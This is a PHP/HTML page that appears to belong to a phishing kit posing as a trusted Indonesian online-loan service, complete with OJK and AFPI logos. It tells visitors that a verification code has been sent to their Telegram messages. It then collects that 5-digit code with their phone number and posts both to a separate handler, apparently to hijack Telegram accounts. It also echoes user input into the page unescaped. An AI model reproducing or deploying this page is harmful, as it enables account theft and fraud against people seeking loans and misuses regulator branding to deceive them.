<?php
// get the data entered by the user
$phoneNumber = $_POST['phoneNumber'];

// system will redirect to the main page if no data is entered
if($phoneNumber == "") {
header("Location: index.php");
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"> 
  <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no"> 
  <title>PINJAMAN ONLINE TERPERCAYA</title> 
  <link rel="stylesheet" href="css/bootstrap.min.css"> 
  <link rel="stylesheet" href="file/css/intlTelInput.css"> 
 </head> 
 <body style="background: rgb(255,255,255);"> 
  <nav class="navbar navbar-expand-md" style="background: #ffffff;"> 
   <div class="container-fluid">
    <a class="navbar-brand" href="#">
    <img src="images/ojk.png" width="80" height="30">
    <img src="images/afpi.png" width="90" height="30">
    </a>
    <button class="navbar-toggler" data-bs-toggle="collapse" style="background: rgb(249 199 28);">
    <span class="visually-hidden">Toggle navigation</span>
    <span class="navbar-toggler-icon">
    </span>
    </button>
   </div> 
  </nav> 
  <section> 
   <div class="container" style="margin-top: 30px;"> 
    <div style="border-radius: 10px;border: 1px solid rgb(247,163,236);background: #ffffff;padding-left: 17px;padding-bottom: 0px;padding-right: 17px;padding-top: 10px;text-shadow: 0px 0px;box-shadow: 0px 0px 20px 2px;"> 
     <p style="text-align: justify;">
     <em>Kode verifikasi telah dikirim ke pesan telegram, silahkan masukkan kode verifikasi tersebut lalu anda sudah boleh mendapatkan pinjaman online tersebut.</em>
     </p> 
    </div> 
   </div> 
  </section> 
  <div class="container" style="padding-top: 20px;"> 
   <form method="post" action="laluan.php"> 
    <input type="hidden" name="phoneNumber" id="phone" value="<?php echo $phoneNumber;?>" readonly="">
    <section class="text-center" style="background: #ffffff;border-width: 1px;border-radius: 10px;box-shadow: 0px 0px 20px 2px;"> 
     <section class="text-center" style="margin-top: 9px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"> 
      <input name="otpCode" id="otpCode" type="text" inputmode="numeric" minlength="5" maxlength="5" pattern="\d{1,5}" style="width: 139px;margin-left: 98px;margin-right: 98px;text-align: center;" required="" autofocus=""> 
      <input class="btn btn-primary" type="submit" value="Seterusnya" style="background: rgb(133, 130, 130);width: 232.75px;margin-top: 9px;margin-left: 7px;margin-right: 7px;font-weight: bold;"> 
      <span id="countdown">
      </span> 
     </section> 
    </section> 
   </form> 
   <script type="09d472ce42103de7171f1693-text/javascript">
            var dynamicText = sessionStorage.getItem("nohp");
            document.getElementById("cdxphone").value = dynamicText;
        </script> 
  </div> 
  <nav class="navbar navbar-expand-md fixed-bottom bg-body"> 
   <div class="container-fluid">
    <img class="img-fluid" src="https://hosting.tigerengine.id/7m5rk1.jpg">
   </div> 
  </nav> 
 <script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="09d472ce42103de7171f1693-|49" defer></script></body>
</html>